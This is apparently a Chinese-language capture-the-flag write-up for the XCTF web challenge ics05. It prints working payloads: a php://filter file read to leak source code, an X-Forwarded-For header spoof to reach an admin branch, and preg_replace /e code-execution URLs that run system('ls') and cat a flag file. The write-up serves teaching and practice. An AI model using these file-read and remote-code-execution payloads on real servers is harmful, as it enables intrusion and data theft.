xctf-web-ics05
前言
这道题干什么,想要告诉我们什么。。。
瞎鸡儿分析
ics05这道题,可能是在入侵后利用管理的平台来完成一些信息的收集,所以读取他的文件并利用就非常重要
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
这里分析可能有错,单纯个人见解
过程
刚刚开始的url是:114.200.241.243:51522/index.php
看到页面有id
好家伙我又以为是sql注入了
特别是看到这个页面
正常回显。。
其实不是
认真再看看
没啥想法可以先看看这个文件的源码有什么
毕竟万事看源码
知识点
这里我们看到的是index.php是php文件那么就要用到
php伪协议查看源码
这里参考
https://cloud.tencent.com/developer/article/1037893
注意的是
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
url:114.200.241.243:51522/index.php
后加
?page=php://filter/convert.base64-encode/resource=index.php
convert.base64-encode只是为了是防止代码直接被执行
使用base64加密查看index.php源码
使用rot13也可以
解码之后,拉到最后发现
在这里
[X_FORWARDED_FOR’] === '127.0.0.1
响应头中包含:X-Forwarded-For:127.0.0.1时,服务器会响应这段代码
playload加入一行
X-Forwarded-For:127.0.0.1
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
知识点
preg_replace 函数执行一个正则表达式的搜索和替换。
参数
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
返回值
如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。
如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。
参考
https://www.runoob.com/php/php-preg_replace.html
在这里的函数,以get的方式读取pat,rep,sub三个参数
这里的preg_replace()存在执行漏洞。当正则表达式pattern以/e结尾时replacement的值会被作为php函数执行。
那我们可以试试
链接
?index.php?pat=/a/e&rep=system('ls')&sub=a
然后查看一个可以的文件夹
?pat=/a/e&rep=system('ls+s3chahahaDir')&sub=a
继续
?pat=/a/e&rep=system('ls+s3chahahaDir/flag')&sub=a
最后有一个flag.php
?pat=/a/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=a
总结
我觉得这道题告诉我的是一些关于伪协议的运用,还有就是后台网站管理系统的敏感文件读取(任意文件读取),以及一些对于网站系统的那一处可能存在什么漏洞。
点个赞再走吧!